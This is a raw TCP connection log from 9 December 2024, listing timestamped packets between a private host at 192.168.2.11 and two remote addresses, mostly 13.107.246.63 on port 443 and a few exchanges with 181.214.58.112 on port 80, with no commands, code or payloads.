Dec 9, 2024 06:50:00.436358929 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.436384916 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.436465979 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.436642885 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.436652899 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.628268957 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.631434917 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.631516933 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.631616116 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.631635904 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.631648064 CET	49834	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.631654024 CET	443	49834	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.637104034 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.637137890 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.638238907 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.638462067 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.638477087 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.954425097 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.955074072 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.955096960 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:00.955533981 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:00.955539942 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.387895107 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.391443968 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.391644955 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.391644955 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.391644955 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.394419909 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.394464970 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.394536018 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.394906998 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.394917965 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.695156097 CET	49835	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.695184946 CET	443	49835	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.911948919 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.912475109 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.912538052 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.912920952 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.912935972 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.913108110 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.913430929 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.913453102 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:01.913772106 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:01.913777113 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.160088062 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.160661936 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.160682917 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.161097050 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.161103964 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.353311062 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.358011961 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.358068943 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.358174086 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.358232975 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.358247995 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.358283997 CET	49837	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.358289003 CET	443	49837	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.360635996 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.360693932 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.360769987 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.360887051 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.360901117 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.362246990 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.362559080 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.362567902 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.362967014 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.362971067 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.372363091 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.376653910 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.376799107 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.376842976 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.376873970 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.376884937 CET	49836	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.376890898 CET	443	49836	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.379523039 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.379555941 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.379658937 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.379812956 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.379825115 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.593710899 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.596796036 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.596854925 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.596932888 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.596949100 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.596962929 CET	49838	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.596967936 CET	443	49838	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.600155115 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.600195885 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.600264072 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.600461006 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.600476980 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.794017076 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.794051886 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.794111013 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.794112921 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.794173956 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.794543028 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.794543028 CET	49839	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.794569016 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.794579029 CET	443	49839	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.802226067 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.802258968 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:02.802553892 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.802680969 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:02.802694082 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.110344887 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.111038923 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.111057043 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.111558914 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.111567974 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.548312902 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.548513889 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.548691988 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.548734903 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.548734903 CET	49840	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.548753023 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.548762083 CET	443	49840	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.551243067 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.551279068 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.551374912 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.551518917 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:03.551534891 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:03.962728977 CET	80	49793	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:03.962785006 CET	49793	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:03.962882996 CET	49793	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:04.077440977 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.079091072 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.079118013 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.079516888 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.079521894 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.082130909 CET	80	49793	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:04.092751026 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.095097065 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.095110893 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.095447063 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.095452070 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.314110994 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.314721107 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.314763069 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.315175056 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.315182924 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.510572910 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.514259100 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.514327049 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.514900923 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.514925957 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.514939070 CET	49841	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.514944077 CET	443	49841	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.515949011 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.516477108 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.516494036 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.516868114 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.516874075 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.518527031 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.518562078 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.518616915 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.518742085 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.518752098 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.526511908 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.529738903 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.529897928 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.529944897 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.529944897 CET	49842	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.529958963 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.529968023 CET	443	49842	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.533010960 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.533041954 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.533113003 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.533212900 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.533222914 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.768927097 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.768959045 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.769023895 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.769078016 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.769262075 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.769284964 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.769296885 CET	49843	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.769301891 CET	443	49843	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.772082090 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.772120953 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.772183895 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.772361040 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.772371054 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.950268984 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.950347900 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.950388908 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.965020895 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.965046883 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.965060949 CET	49844	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.965068102 CET	443	49844	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.988075018 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.988123894 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:04.988183975 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.988763094 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:04.988775969 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.291388988 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.291841984 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.291867971 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.292294025 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.292304039 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.725480080 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.728609085 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.728667974 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.728739023 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.728758097 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.728769064 CET	49846	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.728774071 CET	443	49846	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.731498957 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.731553078 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.731631994 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.731770039 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:05.731781960 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:05.831526041 CET	49852	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:05.950920105 CET	80	49852	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:05.950982094 CET	49852	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:05.951877117 CET	49852	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:06.071207047 CET	80	49852	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:06.239897966 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.240751028 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.240751028 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.240788937 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.240808010 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.253020048 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.253731966 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.253731966 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.253752947 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.253766060 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.488724947 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.489439011 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.489487886 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.490086079 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.490094900 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.673353910 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.676954031 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.677051067 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.677051067 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.677277088 CET	49847	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.677299023 CET	443	49847	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.679657936 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.679704905 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.680094957 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.680094957 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.680125952 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.685954094 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.689708948 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.689758062 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.689759970 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.689848900 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.689848900 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.689868927 CET	49848	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.689882994 CET	443	49848	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.692161083 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.692193031 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.692430019 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.692430019 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.692457914 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.704664946 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.705059052 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.705070019 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.705501080 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.705504894 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.922477007 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.925618887 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.926805019 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.926937103 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.926937103 CET	49849	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.926959038 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.926970005 CET	443	49849	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.942687035 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.942734003 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:06.942892075 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.945831060 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:06.945842981 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.138843060 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.142057896 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.142121077 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.142219067 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.142232895 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.142242908 CET	49850	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.142247915 CET	443	49850	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.145045996 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.145087957 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.145158052 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.145307064 CET	49856	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.145317078 CET	443	49856	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.453803062 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.454751015 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.454773903 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.455910921 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.455914021 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.887200117 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.890621901 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.890688896 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.890743017 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.890768051 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.890784025 CET	49851	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.890789032 CET	443	49851	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.894402027 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.894462109 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:07.894520998 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.894754887 CET	49857	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:07.894768000 CET	443	49857	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.396960020 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.397469044 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.397516012 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.397911072 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.397919893 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.411047935 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.411557913 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.411581039 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.411972046 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.411976099 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.661941051 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.662444115 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.662471056 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.662872076 CET	49855	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.662877083 CET	443	49855	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.829251051 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.833224058 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.833277941 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.833280087 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.833328962 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.833384037 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.833405018 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.833415031 CET	49853	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.833420992 CET	443	49853	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.836061954 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.836102009 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.836208105 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.836369991 CET	49858	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.836385965 CET	443	49858	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.843558073 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.846676111 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.846739054 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.846781015 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.846800089 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.846812010 CET	49854	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.846817970 CET	443	49854	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:08.849265099 CET	49859	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:08.849308968 CET	443	49859	13.107.246.63	192.168.2.11
